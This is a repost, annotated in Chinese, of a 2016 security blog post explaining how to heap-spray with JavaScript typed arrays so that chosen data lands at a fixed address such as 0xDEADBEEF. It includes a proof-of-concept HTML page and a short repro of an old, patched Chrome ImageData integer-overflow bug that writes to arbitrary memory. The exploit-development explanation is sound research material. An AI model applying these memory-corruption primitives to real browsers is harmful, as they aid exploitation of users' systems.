转:https://blog.skylined.nl/20160622001.html,June 22nd, 2016
In my previous blog post I wrote about magic values that were originally chosen to help mitigate exploitation of memory corruption flaws and how this mitigation could potentially be bypassed on 64-bit Operating Systems, specifically Windows. In this blog post, I will explain how to create a heap spray (of sorts) that can be used to allocate memory in the relevant address space range and fill it with arbitrary data for use in exploiting a vulnerability that involves referencing a magic value pointer.The relevant address space range in most cases is between 0xC0000000 and 0xF0000000, so the Proof-of-Concept code will attempt to allocate memory at the address 0xDEADBEEF and store the DWORD value 0xBADC0DED at this address.在0xDEADBEEF。地址存储0xBADC0DED
- Using typed arrays for heap sprays
Most browser heap sprays are based on the code I developed for an exploit in 2004. For reasons I won't get into here, this heap spray repeatedly concatenated a string to itself to exponentially grow the size of this string. A number of copies were than made of this string in order to fill the desired amount of memory.Since 2004, a lot has changed and a lot of features have been added to modern browsers that can be used to spray the heap faster, easier and with better control over its content. One such feature is typed arrays. As explained on the MDN page, these are similar to "normal" Javascript arrays, except that they are never sparse(不稀疏). Data stored in typed arrays is stored in an ArrayBuffer, which is backed up by one consecutive block of memory in which the values are stored. By creating a typed array, one can therefore allocate one consecutive block of memory of a controlled size(可以申请一块可控大小的连续内存空间,同时内容可控), and the contents of the memory can be controlled by setting array elements to specific values.
ArrayBuffer
和C语言内存分配一样,分配一块内存块,相当于C语言中的malloc();光有内存块,而不进行操作也是没有用的,javascript通过视图的方式对内存块进行读写,存在两种视图:
- TypedArray: 特定类型的数据类型,特定类型的一种视图,对特定类型操作性能更高;
- DataView: 各种数据类型都可以,还可以指定大端序(BIG_ENDIAN),小端序(LITTLE_ENDIAN),功能更强大的一种视图
- Spraying the heap in the right place
Heap blocks are normally allocated at the lowest possible address. If you allocate two blocks on an empty, unused heap, these blocks should normally be sequential: (连续分配)the second block will get allocated immediately after the first in memory and therefore be located at a higher address. After the heap has been used for some time and blocks have been freed, the heap can become fragmented. This means that there are unused (freed) areas in between the areas that are still in use. When you allocate a new block from the heap, one of these freed areas can be reallocated, so two sequential allocations may no longer end up next to each other and the second allocation may end up before the first. (heap feng shui can be used to get around this in some cases, but I digress).Fortunately, these gaps (间隙很小)in the heap tend to be a lot smaller than the large blocks used in a heap spray, so fragmentation can be ignore in this case: when asked to allocate a very large block of memory, it will almost certainly get allocated after everything else already allocated on the heap.Because 32-bit applications have all their modules (dll基地址靠近0) loaded at addresses close to, but below 0x80000000, there is only so much space available for a large allocation immediately after the heap and before these modules. If you attempt to allocate a block that is larger than the gap(申请的块大于堆和动态库之间的间隙时) between the heap and the modules, there is no place this allocation can go but after the modules.So, by allocating sufficiently large memory blocks(申请足够多的大块内存后,可以保证内存块地址位于0x80000000), we can all but guarantee that these blocks will be allocated at addresses above 0x80000000. And since there is nothing there to fragment their allocation, they should end up sequential, allowing us to reliably allocate memory in the region around 0xDEADBEEF.
- The Proof-of-Concept
Unlike Firefox, Chrome has an artificial limit (人为限制)on the number of bytes you can allocate through a typed array. This means that on Firefox, you can simply allocate one large block (firefox没有typearray的大小限制,只需要分配大块填充内存)that starts at 0x80000000 and contains all memory up to and including 0xDEADBEEF. On Chrome, you will need to allocate two blocks, one to fill the lower part of memory and one that contains the target address. After allocating the(se) block(s), setting the value at address 0xDEADBEEF to to 0xBADC0DED is as simple as setting a few values in the array at the right index. Because the base address of the memory block depends on the allocator used by the browser(内存块基地址依赖于浏览器分配器), it is deterministic(确定,数组索引可以猜测) and the right index can be guessed with very high reliability. The code below shows how this is done. After loading this web-page you can inspect the memory at 0xDEADBEEF (in Chrome make sure you have the render process) to make sure it contains the value 0xBADC0DED.(在win7-64,chrome 61_32版本可以复现)
1 <html>
2
3 <head>
4 <meta http-equiv="X-UA-Compatible" content="IE=edge">
5 <meta charset="utf-8">
6 <script>
7 var uTargetAddress = 0xDEADBEEF; // The address to allocated
8 var uValue = 0xBADC0DED; // The value to store at this address.
9 var uArrayBase = window.chrome ? 0x80004000 : 0x80000000;
10 var uArraySeparation = window.chrome ? 0x200000 : 0x0;
11 var uMaxArraySize = window.chrome ? 0x30000000 : 0x80000000;
12 var aauHeap = [];
13 while (uArrayBase + uMaxArraySize <= uTargetAddress) {
14 console.log("Allocating 0x" + uMaxArraySize.toString(16) + " bytes at 0x" + uArrayBase.toString(16));
15 aauHeap.push(auHeap = new Uint8Array(uMaxArraySize));
16 uArrayBase += uMaxArraySize + uArraySeparation;
17 };
18 var uArraySize = uTargetAddress-uArrayBase + 4,
19 auHeap = new Uint8Array(uArraySize);
20 console.log("Allocating 0x" + uArraySize.toString(16) + " bytes at 0x" + uArrayBase.toString(16));
21 for (var uOffset = 0; uOffset < 4; uOffset++) {
22 var uByteIndex = uTargetAddress-uArrayBase + uOffset,
23 uByteValue = (uValue >> (uOffset * 8)) & 0xFF;
24 auHeap[uByteIndex] = uByteValue;
25 console.log("[0x" + uArrayBase.toString(16) + " + 0x" + uByteIndex.toString(16) + "] = " + uByteValue.toString(16));
26 };
27 // All done: break into the application using your favorite debugger
28 // and see whether [0xDEADBEEF] realy is 0xBADC0DED. In WinDbg, this may help:
29 alert("!address 0xDEADBEEF;dd 0xDEADBEEF");
30 </script>
31 </head>
32
33 </html>
At the end of 2013 I found signedness errors and integer overflows (有符号错误和整数溢出,可以任意读写内存)in Google Chrome that allowed reading and writing of arbitrary memory when Chrome is running on a 64-bit version of Windows. This issue was patched in early 2014, and I was going to release the details a that time, but there was a small slipup and the Chrome team forgot to actually apply the patch to the new build. So, I had to wait a bit longer for it the next release and subsequently completely forgot to release these details. But that does allow me to bring it up now and describe how that bug was triggered and how I wrote a Proof-of-Concept for the issue.
- Repro
When using the createImageData of a canvas element to create a very large ImageData object on x64 bit versions of Windows, the memory used for this object can get allocated at address 0x7FFF0000. This causes the mayority of the object's memory to be located at addresses above 0x7FFFFFFF. This allows exploitation of signedness errors/integer overflows in the code that handles reading and writing of pixel data, effectively allowing a script to read and write memory in the mayority of the process' adddress space.
<!doctype html>
<html>
<head>
<script>
window.onload = function() {
var oCanvas = document.createElement("canvas");
var oContext2d = oCanvas.getContext("2d");
this.oImageData = oContext2d.createImageData(0x17001337,1);
function addressToIndex(iAddress) {
return iAddress + (iAddress < 0x7fff0000 ? +0x80010000 : 0x7fff0000);
}
this.oImageData.data[addressToIndex(0xDEADBEEF)] = 0x41;
};
</script>
</head>
</html>
待续...